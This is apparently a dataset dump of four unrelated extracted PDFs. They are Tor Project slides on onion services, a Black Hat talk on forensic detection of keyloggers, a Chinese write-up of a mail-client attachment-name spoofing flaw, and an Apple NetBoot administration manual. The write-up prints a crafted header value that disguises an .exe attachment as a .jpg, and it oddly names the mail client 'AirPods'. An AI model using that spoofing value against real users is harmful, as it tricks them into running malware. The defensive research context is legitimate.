text
stringlengths
100
9.93M
category
stringclasses
11 values
1 The Tor Project Our mission is to be the global resource for technology, advocacy, research and education in the ongoing pursuit of freedom of speech, privacy rights online, and censorship circumvention. 2 ● Online Anonymity – Open Source – Open Network ● Community of researchers, developers, users and relay operators. ● U.S. 501(c)(3) non- pro%t organization 3 Estimated 2,000,000+ daily Tor users 4 Threat model: what can the attacker do? Alice Anonymity network Bob watch (or be!) Bob! watch Alice! Control part of the network! 5 Anonymity isn't encryption: Encryption just protects contents. Alice Bob “Hi, Bob!” “Hi, Bob!” <gibberish> attacker 6 Anonymity serves different interests for different user groups. Anonymity “It's privacy!” Private citizens 7 Anonymity serves different interests for different user groups. Anonymity Private citizens Businesses “It's network security!” “It's privacy!” 8 Anonymity serves different interests for different user groups. Anonymity Private citizens Governments Businesses “It's traffic-analysis resistance!” “It's network security!” “It's privacy!” 9 Anonymity serves different interests for different user groups. Anonymity Private citizens Governments Businesses “It's traffic-analysis resistance!” “It's network security!” “It's privacy!” Human rights activists “It's reachability!” 10 The simplest designs use a single relay to hide connections. Bob2 Bob1 Bob3 Alice2 Alice1 Alice3 Relay E(Bob3,“X”) E(Bob1, “Y”) E(Bob2, “Z”) “Y” “Z” “X” (example: some commercial proxy providers) 11 But a central relay is a single point of failure. Bob2 Bob1 Bob3 Alice2 Alice1 Alice3 Evil Relay E(Bob3,“X”) E(Bob1, “Y”) E(Bob2, “Z”) “Y” “Z” “X” 12 ... or a single point of bypass. Bob2 Bob1 Bob3 Alice2 Alice1 Alice3 Irrelevant Relay E(Bob3,“X”) E(Bob1, “Y”) E(Bob2, “Z”) “Y” “Z” “X” Timing analysis bridges all connections through relay ⇒ An attractive fat target 13 14 15 16 17 Tor's safety comes from diversity ● #1: Diversity of relays. The more relays we have and the more diverse they are, the fewer attackers are in a position to do traffic confirmation. (Research problem: measuring diversity over time) ● #2: Diversity of users and reasons to use it. 50000 users in Iran means almost all of them are normal citizens. 18 Transparency for Tor is key ● Open source / free software ● Public design documents and specifications ● Publicly identified developers ● Not a contradiction: privacy is about choice! 19 But what about bad people? ● Remember the millions of daily users. ● Still a two-edged sword? ● Good people need Tor much more than bad guys need it. 20 Myth #1 ● “I heard the Navy wrote Tor originally, so how can I trust it?” 21 Myth #2 ● “I heard the NSA runs half the relays.” 22 Myth #3 ● “I heard Tor is slow.” 23 Myth #4 ● “I heard Tor gets most of its money from the US government.” 24 Myth #5 ● “I heard 80% of Tor is bad people.” 25 Myth #6 ● “I shouldn't use Tor, because if I do the NSA will watch me.” 26 Myth #7 ● “I heard Tor is broken.” 27 Onion Service 28 Onion service properties ● Self authenticated ● End-to-end encrypted ● Built-in NAT punching ● Limit surface area ● No need to “exit” from Tor 29 30 31 q 33 34 SecureDrop https://securedrop.org/directory Today, 30+ organizations use SecureDrop 35 Ricochet 36 OnionShare 37 Services and Tools https://help.riseup.net/en/tor#riseups-tor-hidden-services All Riseup.net services are available using hidden service ... and many others Package repository apt-get install apt-tor-transport http://vwakviie2ienjx6t.onion/ ... 38 Anonymous updates are awesome ● Evil package repository can't target you with a bad update, because they don't know it's you ● Local observer can't learn what you're updating, so they can't target you for being out of date 39 40 41 42 43 44 45 46 HS Directory Hashring HSDirn Desc IDrep0 Desc IDrep1 HSDirn+1 HSDirn+2 HSDirn HSDirn+1 HSDirn+2 Desc ID = H(onion-address | H(time-period | descriptor-cookie | replica)) 47 #1: Old onion keys are weak ● “The first 80 bits of the SHA-1 of the 1024-bit RSA key” :( ● The new system uses ED25519 (i.e. much stronger ECC keys) 48 New keys => longer onion addresses nzh3fv6jc6jskki3.onion From 16 characters: ... to 52 characters: a1uik0w1gmfq3i5ievxdm9ceu27e88g6o7pe0r,dw9jmntwkdsd.onion (ed25519 public key base32 encoded) 49 The HSDir relays are too predictable ● The six daily HSDirs for a given onion address are predictable into the future ● So a bad guy can run six relays with just the right keys to target a specific future day...to censor or to measure popularity ● People – we don't know who – were doing this attack in practice 50 #2: Global shared random value ● The solution: make the HSDir mapping include a communal random value that everybody agrees about but that nobody can predict ● The directory authorities pick this value each day as part of their consensus voting process 51 HSDirs get to learn onion addresses ● The onion service descriptor (which gets uploaded to the HSDir) includes the public key for the service (so everybody can check the signature) ● So you can run relays and discover otherwise-unpublished onion addresses ● “Threat intelligence” companies have been trying to do just that 52 #3: New crypto hides the address ● The solution: the new cryptosystem has a cool feature where you can sign the onion descriptor with a subkey ● So everybody can check the signature but nobody can learn the main key from the subkey or signature ● Should finally kill the arms race with jerks running relays to gather onions 53 #4: Rendezvous Single Onion Services Rendezvous Point Proposal 260 54 OnionBalance https://onionbalance.readthedocs.org 55 #5: Guard discovery is a big deal ● Your Tor client uses a single relay (called a Guard) for the first hop in all your paths, to limit exposed surface area ● But there are relatively easy attacks to learn a user's guard, and for onion services that can be especially bad 56 Vanguards (Tor proposal 271) ● Multiple layers of guards protect better against Sybil+compromise attacks ● Path selection is still a huge open research area 57 Deployment timeline ● HSDir side: deployed in Tor 0.3.0 ● Relay side: deployed in Tor 0.3.0 ● Client side: upcoming in Tor 0.3.2 ● Service side: upcoming in Tor 0.3.2 Try it at % git clone https://git.torproject.org/arma/tor.git % git checkout dc25 58 59 Tor isn't foolproof ● Opsec mistakes ● Browser metadata fingerprints ● Browser exploits ● Traffic analysis 60 How can you help? ● Run a relay (or a bridge) ● Teach your friends about Tor, and privacy in general ● Help find -- and fix – bugs ● Work on open research problems (petsymposium.org) ● donate.torproject.org 61 “Still the King of high secure, low latency Internet Anonymity” “There are no contenders for the throne”
pdf
#BHUSA @BlackHatEvents New Memory Forensics Techniques to Defeat Device Monitoring Malware Andrew Case, Gustavo Moreira, Austin Sellers, Golden Richard #BHUSA @BlackHatEvents Information Classification: General Motivation • Malware that is capable of monitoring hardware devices (keyboards, microphones, web cameras, etc.) is now commonly deployed against human targets • This type of malware poses a serious threat to privacy and security • Existing memory forensic algorithms against this type of malware are outdated, incomplete, or non-existent #BHUSA @BlackHatEvents Information Classification: General Research Goals • For the major operating systems (Windows, Linux, macOS): 1. Study the methods used by userland (process) malware to monitor hardware devices 2. Research (source code review, binary analysis) how the abused APIs are implemented 3. Determine if current memory forensics tools could detect each abuse 4. For ones not currently detected, develop capabilities to automatically detect the abuse #BHUSA @BlackHatEvents Information Classification: General Why Memory Forensics is Needed • Across platforms, memory-only payloads are often used by malware that monitors hardware devices • Disk and live forensics generally can find no traces of this malware • Volatile memory is the *only* place to determine that such malware is present and to fully investigate it #BHUSA @BlackHatEvents Information Classification: General Windows Research Setup • Focused on Windows 10 • Analyzed all major builds starting with 10563 (2015) through 22000.556 (March 2022) • Developed POC software that used the APIs abused by real-world malware • Memory collection with VMware suspend states for initial work • Used Surge Collect Pro and its file collection capabilities for long term automated testing #BHUSA @BlackHatEvents Information Classification: General Windows Research - SetWindowsHookEx ● Historically, the most widely abused API by userland keyloggers ● Allows for registering for hooks (callbacks) for hardware events of interest in all threads in a desktop or a specific thread ● The most common use of the API leads to the malicious DLL being injected into every process where a hook triggers (keystroke, mouse movement, etc.) ● Volatility’s messagehooks plugin aims to recover abuse of this API ○ Never properly updated for Windows 10 ○ Testing showed it did not support all hook variations #BHUSA @BlackHatEvents Information Classification: General WH_KEYBOARD_LL , WH_MOUSE, … SetWindowsHookEx - Global Hooks in a DLL C:\keylogger.dll NULL #BHUSA @BlackHatEvents Information Classification: General #BHUSA @BlackHatEvents Information Classification: General Enumerating Global Message Hooks Image Source: [2], Full Technical Details: [1] Enumeration Algorithm 1) Enumerate the Desktops of each of Session -> Window Station 2) Enumerate the hooks (tagHOOK) of each Desktop 3) Gather the full path to the DLL hosting each hook through the (new) Atom Table #BHUSA @BlackHatEvents Information Classification: General #BHUSA @BlackHatEvents Information Classification: General WH_KEYBOARD_LL SetWindowsHookEx - Global Hooks in an EXE NULL NULL #BHUSA @BlackHatEvents Information Classification: General Global Exe Hooks – WH_KEYBOARD_LL Only First output block with “<any>” denotes that this hook applies to all threads in the desktop Volatility knows the address of the hook, but not which process is hosting it During our research, we discovered that the TIF_GLOBALHOOKER flag denotes if a thread has placed a hook. Volatility now parses this flag. “True” here tells us that GUITesterAll placed the hook #BHUSA @BlackHatEvents Information Classification: General SetWindowsHookEx – Thread Specific Hooks WH_KEYBOARD_LL , WH_MOUSE, etc. <TID of target thread> DLL Handle | NULL #BHUSA @BlackHatEvents Information Classification: General Enumerating Thread-Specific Hooks • Thread-specific hooks are stored within the thread data structure • A per-process data structure holds the “atom table” equivalent list of DLLs • Volatility was previously unable to enumerate these hooks Threads Desktops Hooks “Atom Table” Process Information Adding Initial Support Incorporating Per-Process “Atom Table” #BHUSA @BlackHatEvents Information Classification: General Windows Research - RegisterRawInputDevices HID_USAGE_GENERIC_KEYBOARD HID_USAGE_PAGE_GENERIC <Handle to the target window> #BHUSA @BlackHatEvents Information Classification: General Registering to Monitor #BHUSA @BlackHatEvents Information Classification: General Malicious Window Callback Procedure #BHUSA @BlackHatEvents Information Classification: General Enumerating Input Monitors • Per-process data structure stores a HID table • This table stores a list of monitoring requests • Each request tracks its target window and usage Threads Desktops Hid Table Process Information Hid Request(s) #BHUSA @BlackHatEvents Information Classification: General Detecting the Device Monitor #BHUSA @BlackHatEvents Information Classification: General Linux Research – strace and ptrace • ptrace is the debugging facility of Linux • strace is a popular tool that relies on ptrace to monitor system calls made by other processes • Allows for monitoring of buffers sent to hardware devices (keyboards, mics, …) • Can be completely locked down, even to root users – but not universally applied #BHUSA @BlackHatEvents Information Classification: General Detecting Direct Debugging #BHUSA @BlackHatEvents Information Classification: General Logging in with “secretpassword!” password Typing ‘netstat’ once character at a time #BHUSA @BlackHatEvents Information Classification: General Detecting Child Process Debugging NOTE: SEIZED means that a process began being debugged after it was already started or that a child process was automatically debugged as a result of its parent process being debugged. See the ptrace(2) manual page for complete information. #BHUSA @BlackHatEvents Information Classification: General Linux Research – Input Events The Input Event subsystem can be abused by userland malware to monitor keystrokes on physically attached keyboards #BHUSA @BlackHatEvents Information Classification: General Linux Research - TIOCSTI • TIOCSTI is an IOCTL that simulates input to a specific terminal and allows the caller to inject a character into that terminal’s input stream Screenshot source: https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking #BHUSA @BlackHatEvents Information Classification: General Detecting TIOCSTI Abuse #BHUSA @BlackHatEvents Information Classification: General macOS Research - CGEventTapCreate • CGEventTapCreate is the most widely abused API on macOS for hardware device monitoring #BHUSA @BlackHatEvents Information Classification: General POC source: https://github.com/caseyscarborough/keylogger CGEventTapCreate POC Code #BHUSA @BlackHatEvents Information Classification: General WINDOW SERVER KEYLOGGER PROCESS KERNEL SPACE mach_msg 1 2 _CGPlaceTap _XPlaceTap •Events of interest •Callback location #BHUSA @BlackHatEvents Information Classification: General WINDOW SERVER KEYLOGGER PROCESS KERNEL SPACE mach_msg 1 2 _CGPlaceTap _XPlaceTap •Events of interest •Callback location 4 3 Registered callback receives keystroke Keystroke Data #BHUSA @BlackHatEvents Information Classification: General Detecting CGEventTapCreate Abuse #BHUSA @BlackHatEvents Information Classification: General Conclusions • Malware that targets devices will continue to pose a serious privacy and security threat to individuals and organizations • Our research effort enables automated detection and analysis of such malware • Many of the data structures and subsystems analyzed previously had no public documentation • Please see our whitepaper on the Black Hat website for complete details • Nearly 30 pages of code samples, IDA Pro screenshots, data structure breakdowns, and more #BHUSA @BlackHatEvents Information Classification: General Questions? Comments? Contact andrew@dfir.org golden@cct.lsu.edu Social Media @volatility, @attrc, @nolaforensix, @volexity, @lsucct 2022 Volatility Plugin Contest now open! https://volatility-labs.blogspot.com/2022/07/the-10th-annual-volatility-plugin-contest.html #BHUSA @BlackHatEvents Information Classification: General References [1] https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html [2] https://scorpiosoftware.net/2019/02/17/windows-10-desktops-vs-sysinternals-desktops/
pdf
AirPods客户端异构附件名分析  前⾔  嘶吼发了⼀篇⾏业资讯( https://www.4hou.com/posts/jJAP ),⾥⾯提到AirPods客户端特定附件 名显示不正确问题,攻击者可以让客户端对异常构造的附件名称显示不正确,这种不正确显示会导 致客户端⽤户误打开恶意附件内容。 ⽂中也提到影响版本:AirPods客户端3.0.5以上(含),3.1.0.303(不含)以下版本。 所以我们就根据披露的这点⽂字信息,来分析下该问题吧。 漏洞分析  在下载站找到了⼀个历史版本的安装包(cmclient_3.0.7-155_amd64.exe),安装⼀下即可。 根据已有信息,我们⾸先要明⽩怎样的⽂件名会让⽤户端打开触发,我们⾃⼰构建⼀份带附件的邮 件导出为eml⽂件。 这⾥附件使⽤的是jpg格式,⽤客户端打开eml⽂件,发现附件双击是可以直接打开的,并没有任何 的提示: 那我们再换成exe⽂件看看是否有这个功能: 如下图所示,当附件为exe⽂件时则没有双击可以直接打开的功能,⽽变成了双击另存为: 所以根据资讯信息,我们⼤致能猜到该问题的⽅向是出在了filename这个部分,也就是通过构建让 客户端显示为jpg⽂件,也就有了双击打开的功能,⽽实际打开的⽂件则是exe。 那么这⾥其实就跟Web⽂件上传⼀样,在⽂件名处去构建,NTFS⽂件流、各种符号都尝试⼀下, 发现不⾏。 并且使⽤URL编码的⽅式发⾏,客户端并不会去解码: 那么顺着编码看下去,⾕歌 content-disposition filename url encoding ,顺着找到⼀篇⽂ 章:https://stackoverflow.com/questions/93551/how-to-encode-the-filename-parameter-of- content-disposition-header-in-http ⾥⾯提到返回给浏览器的响应头中,可以将原先的 filename=value 字段变为 filename*=utf- 8''value 格式,前者value编码是不会解码的,⽽后者value浏览器是会⾃动解码的。 并且这个格式是RFC 6266标准中提到的:https://datatracker.ietf.org/doc/html/rfc6266#section- 4.1 在4.3节( https://datatracker.ietf.org/doc/html/rfc6266#section-4.3 )也提到两者的区别就是编 码的⽀持: 编码的规范定义在RFC 5987中,⾥⾯也有对应的示 例:https://datatracker.ietf.org/doc/html/rfc5987#section-3.2.2 所以最终我们可以理出这样的格式,其中⽅括号包裹起来的就是可选项: 同理,AirPods客户端本质上就是⼀个浏览器,所以我们构建如下的⽂件字段内容: 打开该邮件,客户端显示为jpg附件: key*=[charset_encode]'[language]'value 1 Content-disposition: attachment; filename*=''123.exe%00123.jpg 1 但是双击打开,却是以exe形式,并且我们通过ProcessHacker可以看到⽂件的路径: 它是以exe形式存储 在 C:\Users\xxx\AppData\Roaming\Cm\CMClient\temp\noview\acc_0\mail_1658895394\attach\123.ex e ⽬录下。 路径梳理  简单总结梳理⼀下路径: 1. 邮件查看,附件以图⽚形式显示;(解码) 2. 双击附件,附件会转储到 Cm\CMClient\temp\noview ⽬录下,但是由于00截断,所以只保存了 前半部分; 3. CreateProcessW打开指定⽂件进程。 触发问题  ⽹传该问题可以⾃动触发,不需要双击附件,我在分析过程中并没有发现这样的功能。但是在⾼版 本的客户端内发现了有类似Webview的功能,没有具体分析,如果可以⾃动触发的话,⼤概率是 Webview渲染的时候⾃动打开了⽂件(file协议),⼤家有什么新的想法欢迎补充。
pdf
Mac OS X Server System Image Administration For Version 10.3 or Later 034-2348_Cvr 9/12/03 10:21 AM Page 1  Apple Computer, Inc. © 2003 Apple Computer, Inc. All rights reserved. The owner or authorized user of a valid copy of Mac OS X Server software may reproduce this publication for the purpose of learning to use such software. No part of this publication may be reproduced or transmitted for commercial purposes, such as selling copies of this publication or for providing paid-for support services. Use of the “keyboard” Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may constitute trademark infringement and unfair competition in violation of federal and state laws. Apple, the Apple logo, AirPort, AppleShare, iBook, iMac, Mac, Macintosh, Mac OS, PowerBook, Power Mac, and Xserve are trademarks of Apple Computer, Inc., registered in the U.S. and other countries. 034-2348/09-20-03 LL2348.Book Page 2 Thursday, August 21, 2003 10:58 AM 3 1 Contents Chapter 1 7 About System Image Administration 7 NetBoot and Network Install 8 Inside NetBoot 8 Disk Images 8 NetBoot Share Points 9 Client Information File 9 Shadow Files 10 NetBoot Image Folders 11 Property List File 13 Boot Server Discovery Protocol (BSDP) 13 BootP Server 13 TFTP and the Boot Files 13 Using Images Stored on Other Servers 13 Security 14 Before You Set Up NetBoot 14 What You Need to Know 14 Client Computer Requirements 15 Network Hardware Requirements 15 Network Service Requirements 16 Capacity Planning 17 Setup Overview Chapter 2 19 Creating Boot and Install Images 19 Creating Mac OS X Boot Images 19 Creating a Mac OS X Boot Image 21 Installing the Classic Environment on a Mac OS X Disk Image 21 Configuring Directory Access for a Boot Image 22 Adding an OS Update Package to a Mac OS X Boot Image 22 Creating a Mac OS X Boot Image From an Existing System 23 Synchronizing an Image With an Updated Source Volume 23 Choosing the Protocol Used to Deliver an Image 24 Compressing Images to Save Disk Space 24 Changing How Mac OS X NetBoot Clients Allocate Shadow Files LL2348.Book Page 3 Thursday, August 21, 2003 10:58 AM 4 Contents 25 Creating Mac OS 9 Boot Images 25 Installing a Mac OS 9 Boot Image 25 Modifying a Mac OS 9 Boot Image 27 Setting Up Multiple Mac OS 9 Images 27 Unlocking an Image 28 Creating Install Images 28 Creating an OS Install Image 29 Adding Software to Boot and Install Images 29 About Packages 30 Creating Packages 30 Adding Packages to a Boot or Install Image 30 Creating an Application-Only Install Image 31 Automating Installation of an Image 32 Viewing the Contents of a Package 32 Installing Mac OS Updates Chapter 3 33 Setting Up NetBoot Service 33 Setting Up NetBoot 33 Configuring NetBoot Service 34 Starting NetBoot and Related Services 34 Enabling Images 35 Choosing Where Images Are Stored 35 Choosing Where Shadow Files Are Stored 36 Using Images Stored on Other NFS Servers 36 Moving Images to Headless Servers 37 Specifying the Default Image 37 Setting an Image for Diskless Booting 38 Restricting NetBoot Clients by Filtering Addresses 38 Changing Advanced NetBoot Options Chapter 4 39 Setting Up Clients 39 Supporting Client Computers 39 Updating the Startup Disk Control Panel 39 Setting Up Diskless Clients 40 Selecting a NetBoot Boot Image (Mac OS X) 40 Selecting a NetBoot Boot Image (Mac OS 9) 41 Selecting a NetBoot Install Image (Mac OS X) 41 Selecting a NetBoot Install Image (Mac OS 9) 42 Starting Up Using the N Key Chapter 5 43 Managing NetBoot Service 43 Controlling and Monitoring NetBoot 43 Turning Off NetBoot Service LL2348.Book Page 4 Thursday, August 21, 2003 10:58 AM Contents 5 44 Disabling Individual Boot or Install Images 44 Viewing a List of NetBoot Clients 44 Checking the Status of NetBoot and Related Services 44 Viewing the NetBoot Service Log 45 Performance and Load Balancing 45 Boot Images 45 Distributing Boot Images Across Servers 46 Distributing Boot Images Across Server Disk Drives 46 Balancing Boot Image Access 47 Distributing Shadow Files 48 Advanced NetBoot Tuning Chapter 6 49 Solving Problems 49 General Tips 49 A NetBoot Client Computer Won’t Start Up 50 You’re Using Macintosh Manager and a User Can’t Log In to a NetBoot Client 50 The Create Button in Network Image Utility Is Not Enabled 50 Controls and Fields in Network Image Utility are Disabled 50 I Can’t Set an Image to Use Static Booting (NetBoot version 1.0) Glossary 51 Index 53 LL2348.Book Page 5 Thursday, August 21, 2003 10:58 AM LL2348.Book Page 6 Thursday, August 21, 2003 10:58 AM 1 7 1 About System Image Administration This chapter describes how to start up client computers using an operating system stored on a server and install software on client computers over the network. NetBoot and Network Install The NetBoot and Network Install features of Mac OS X Server offer you alternatives for managing the operating system and application software your Macintosh clients (or even other servers) need to start up and do their work. Instead of going from computer to computer to install OS and application software from CDs, you can prepare an OS install image that is automatically installed on each computer when it starts up. Or, you can choose not to install software on the clients at all but, instead, have them start up (or “boot”) directly from an image stored on the server. Clients don’t even need their own disk drives. Using NetBoot and Network Install, you can have your client computers start up from a standardized Mac OS configuration suited to their specific tasks. Because the client computers start up from the same image, you can quickly update the operating system for the entire group by updating a single boot image. A boot image is a file that looks and acts like a mountable disk or volume. NetBoot boot images contain the system software needed to act as a startup disk for client computers on the network. An install image is a special boot image that boots the client long enough to install software from the image, after which the client can boot from its own hard drive. Both boot images and install images are special kinds of disk images. Disk images are files that behave just like disk volumes. You can set up multiple boot or install images to suit the needs of different groups of clients or to provide several copies of the same image to distribute the client startup load. You can use NetBoot in conjunction with Mac OS X client management services to provide a personalized work environment for each client computer user. For information about client management services, see the user management guide. LL2348.Book Page 7 Thursday, August 21, 2003 10:58 AM 8 Chapter 1 About System Image Administration You can use the following Mac OS X Server applications to set up and manage NetBoot and Network Install: • Network Image Utility— to create Mac OS X disk images. Installed with Mac OS X Server software in the /Applications/Server folder. • Server Admin— to enable and configure NetBoot service and supporting services. Installed with Mac OS X Server software in the /Applications/Server folder. • PackageMaker— to create package files that you use to add additional software to disk images. On the Administration Tools CD in the Utilities folder. • Property List Editor—to edit property lists such as NBImageInfo.plist. On the Administration Tools CD in the Utilities folder. • NetBoot Desktop Admin— an optional application for modifying Mac OS 9 system disk images and accompanying disk image for applications. If you still have Mac OS 9 clients, you’ll need a copy of the NetBoot for Mac OS 9 CD (available separately). The CD includes a preconfigured Mac OS 9.2.2 system disk image and the NetBoot Desktop Admin application. Inside NetBoot This section describes how NetBoot is implemented on Mac OS X Server, including information on the protocols, files, directory structures, and configuration details. Disk Images The read-only disk images contain the system software and applications used over the network by the client computers. The name of a disk image file typically ends in “.img” or “.dmg.” Disk Utility—a utility included with Mac OS X and Mac OS 9.2.2—can mount disk image files as volumes on the desktop. You set up Mac OS 9 and Mac OS X disk images in slightly different ways. You use Network Image Utility to create Mac OS X disk images, using a Mac OS X install disc or an existing system volume as the source. See “Creating a Mac OS X Boot Image” on page 19. A preconfigured Mac OS 9 disk image is provided for you on a CD named NetBoot for Mac OS 9 , which is available separately. The CD contains localized versions of the Mac OS 9 image in several languages. See “Installing a Mac OS 9 Boot Image” on page 25. You can modify the Mac OS 9 disk image using NetBoot Desktop Admin. See “Modifying a Mac OS 9 Boot Image” on page 25. NetBoot Share Points NetBoot sets up share points to make images and shadow files available to clients. LL2348.Book Page 8 Thursday, August 21, 2003 10:58 AM Chapter 1 About System Image Administration 9 NetBoot creates share points for storing boot and install images in /Library/NetBoot on each volume you enable and names them NetBootSPn, where n is 0 for the first share point and increases by 1 for each additional share point. If, for example, you decide to store images on three separate server disks, NetBoot will set up three share points named NetBootSP0, NetBootSP1, and NetBootSP2. The share points for client shadow files are also created in /Library/NetBoot and are named NetBootClientsn. You can create and enable additional NetBootSPn and NetBootClientsn share points on other server volumes using the NetBoot service General settings in Server Admin. Client Information File NetBoot gathers information about a client the first time the client tries to start up from the NetBoot server. NetBoot stores this information in the file /var/db/bsdpd_clients. Shadow Files Many clients can read from the same boot image, but when a client needs to write anything back to its startup volume (such as print jobs and other temporary files), NetBoot automatically redirects the written data to the client’s shadow files, which are separate from regular system and application software. The shadow files preserve the unique identity of each client during the entire time it is running off a NetBoot image. NetBoot transparently maintains changed user data in the shadow files, while reading unchanged data from the shared system image. The shadow files are re-created at boot time, so any changes made by the user to his or her startup volume are lost at restart. For example, if a user saves a document to the startup volume, after a restart that document will be gone. This behavior preserves the condition of the environment the administrator set up. Therefore it is recommended that users have accounts on a file server on the network to save their documents. Balancing the Shadow File Load NetBoot creates an AFP share point on each server volume you specify (see “Choosing Where Shadow Files Are Stored” on page 35) and distributes client shadow files across them as a way of balancing the load for NetBoot clients. There is no performance gain if the volumes are partitions on the same disk. See “Distributing Shadow Files” on page 47. Warning: Don’t rename a NetBoot share point or the volume on which it resides. Don’t use Workgroup Manager to stop sharing for a NetBoot share point unless you first deselect the share point for images and shadow files in Server Admin. LL2348.Book Page 9 Thursday, August 21, 2003 10:58 AM 10 Chapter 1 About System Image Administration Allocation of Shadow Files for Mac OS X NetBoot Clients When a client computer starts up from a Mac OS X boot image, it creates its shadow files on a server NetBootClientsn share point or, if no share point is available, on a drive local to the client. For information about changing this behavior, see “Changing How Mac OS X NetBoot Clients Allocate Shadow Files” on page 24. NetBoot Image Folders A NetBoot image folder contains the startup image file, a boot file that the firmware uses to begin the startup process, and other files required to start up a client computer over the network. The name of a NetBoot image folder has the suffix “.nbi.” An NBI folder for Mac OS 9 is slightly different from an NBI folder for Mac OS X since the components required for startup are different. Mac OS X NetBoot image folder You use Network Image Utility to set up Mac OS X NBI folders. The utility lets you: • Name the image • Choose the image type (NetBoot or Network Install) • Provide an image ID • Choose the default language • Specify a default user name and password • Enable automatic installation for install images • Add additional package or preinstalled applications See “Creating a Mac OS X Boot Image” on page 19. Mac OS 9 NetBoot image folder File Description booter Boot file mach.macosx UNIX kernel mach.macosx.mkext Drivers System.dmg Startup image file (may include application software) NBImageInfo.plist Property list file File or folder Description Mac OS ROM Boot file NetBoot HD.img System startup image file Application HD.img Application image file NBImageInfo.plist Property list file Backup Folder created by NetBoot Desktop Admin (while it is running) for the backup image LL2348.Book Page 10 Thursday, August 21, 2003 10:58 AM Chapter 1 About System Image Administration 11 You use NetBoot Desktop Admin to modify the Mac OS 9 NBI folder. This utility lets you change the image file (NetBoot HD.img), change the name of the image, adjust the size of the image, and add software to the application image. Property List File The property list file (NBImageInfo.plist) stores image properties. The property lists for Mac OS 9 and Mac OS X are described in the following tables. Initial values in the NBImageInfo.plist are set by the tools you use to work with the image files—NetBoot Desktop Admin (for Mac OS 9 images) and Network Image Utility (for Mac OS X images)—and you usually don’t need to change the property list file directly. Some values are set by Server Admin. If you need to edit a property list file, however, you can use TextEdit or Property List Editor, which you can find in the Utilities folder on the Mac OS X Server Administration Tools CD. Mac OS 9 property list Property Type Description BootFile String Name of boot ROM file: Mac OS ROM. Index Integer 1–4095 indicates a local image unique to the server. 4096–65535 is a duplicate, identical image stored on multiple servers for load balancing. IsDefault Boolean True specifies this image file as the default boot image on the subnet. IsEnabled Boolean Sets whether the image is available to NetBoot (or Network Image) clients. IsInstall Boolean True specifies a Network Install image; False specifies a NetBoot image. Name String Name of the image as it appears in the Startup Disk control panel (Mac OS 9) or Preferences pane (Mac OS X). Type String Classic. SupportsDiskless Boolean True directs the NetBoot server to allocate space for the shadow files needed by diskless clients. LL2348.Book Page 11 Thursday, August 21, 2003 10:58 AM 12 Chapter 1 About System Image Administration Mac OS X property list Property Type Description BootFile String Name of boot ROM file: booter. Index Integer 1–4095 indicates a local image unique to the server. 4096–65535 is a duplicate, identical image stored on multiple servers for load balancing. IsDefault Boolean True specifies this image file as the default boot image on the subnet. IsEnabled Boolean Sets whether the image is available to NetBoot (or Network Image) clients. IsInstall Boolean True specifies a Network Install image; False specifies a NetBoot image. Name String Name of the image as it appears in the Startup Disk control panel (Mac OS 9) or Preferences pane (Mac OS X). RootPath String Specifies path to disk image on server, or the path to an image on another server. See “Using Images Stored on Other Servers” on page 13. Type String NFS or HTTP. SupportsDiskless Boolean True directs the NetBoot server to allocate space for the shadow files needed by diskless clients. Description String Arbitrary text describing the image. Language String A code specifying the language to be used while booted from the image. LL2348.Book Page 12 Thursday, August 21, 2003 10:58 AM Chapter 1 About System Image Administration 13 Boot Server Discovery Protocol (BSDP) NetBoot uses an Apple-developed protocol based on DHCP called Boot Server Discovery Protocol (BSDP). This protocol provides a way of discovering NetBoot servers on a network. NetBoot clients obtain their IP information from a DHCP server and their NetBoot information from BSDP. BSDP offers built-in support for load balancing. See “Performance and Load Balancing” on page 45. BootP Server NetBoot uses a BootP server (bootpd) to provide necessary information to client computers when they try to boot from an image on the server. If you have BootP clients on your network, they might request an IP address from the NetBoot BootP server, and this request will fail because the NetBoot BootP server doesn’t have addresses to offer. To prevent the NetBoot BootP server from responding to requests for IP addresses, use NetInfo Manager to open the NetBoot server’s local NetInfo directory and add a key named bootp_enabled with no value to the directory /config/dhcp. TFTP and the Boot Files NetBoot uses the Trivial File Transfer Protocol (TFTP) to send boot files from the server to the client. The boot files are set up by Network Image Utility when you create an image, and are stored on the server in /Library/NetBoot/NetBootSPn/image.nbi (where n is the volume number and image is the name of the image). For Mac OS 9 there is a single file named Mac OS ROM. For Mac OS X images, there are three files: booter, mach.macosx, and mach.macosx.mkext. The NetBootSPn directory is automatically set up on your server’s boot volume if you enable NetBoot when you install Mac OS X Server. Otherwise, NetBootSPn share points are set up on each volume you choose for storing images in the NetBoot settings in Server Admin. Using Images Stored on Other Servers You can store Mac OS X boot or install images on NFS servers other than the NetBoot server itself. For more information, see “Using Images Stored on Other NFS Servers” on page 36. Security You can restrict access to NetBoot service on a case-by-case basis by listing the hardware (also called the Ethernet or MAC) addresses of computers that you want to allow or deny access. A client computer’s hardware address is automatically added to the NetBoot Filtering list when the client starts up using NetBoot and is, by default, enabled to use NetBoot. You can specify others. See “Restricting NetBoot Clients by Filtering Addresses” on page 38. LL2348.Book Page 13 Thursday, August 21, 2003 10:58 AM 14 Chapter 1 About System Image Administration Before You Set Up NetBoot Before you set up a NetBoot server, review the following considerations and requirements. What You Need to Know To set up NetBoot on your server, you should be familiar with your network configuration, including the DHCP services it provides. Be sure you meet the following requirements: • You’re the server administrator. • You’re familiar with network setup. • You know the DHCP configuration. You might also need to work with your networking staff to change network topologies, switches, routers, and other network settings. Client Computer Requirements Most Macintosh computers that can run Mac OS 9.2.2 or later can use NetBoot to start up from a Mac OS X disk image on a server. At the time of this publication, this includes the following Macintosh computers: • Slot-loading G3 iMac (tray-loading iMacs are not supported) • G4 iMac • iBook • eMac • Power Mac G5 • Power Mac G4 • Power Mac G4 Cube • PowerBook G3 (FireWire) • PowerBook G4 • Xserve You should install the latest firmware updates on all client computers. Firmware updates are available from the Apple support website: www.apple.com/support/. Power Mac G5 clients can’t boot from images prepared for Power Mac G4 or earlier processors, nor can Power Mac G4 or earlier processors boot from images prepared for Power Mac G5 processors. If you have both types of clients, you must set up two separate images. Older Macintosh computers—tray-loading iMac computers and Power Macintosh G3 (blue and white) computers—need older versions of firmware that require version 1.0 of the NetBoot software, and are no longer supported. Mac OS X Server version 10.3 supports only NetBoot version 2.0. LL2348.Book Page 14 Thursday, August 21, 2003 10:58 AM Chapter 1 About System Image Administration 15 Client Computer RAM Requirements The following are the minimum RAM requirements for a client computer starting up from a Mac OS 9 or Mac OS X boot image. 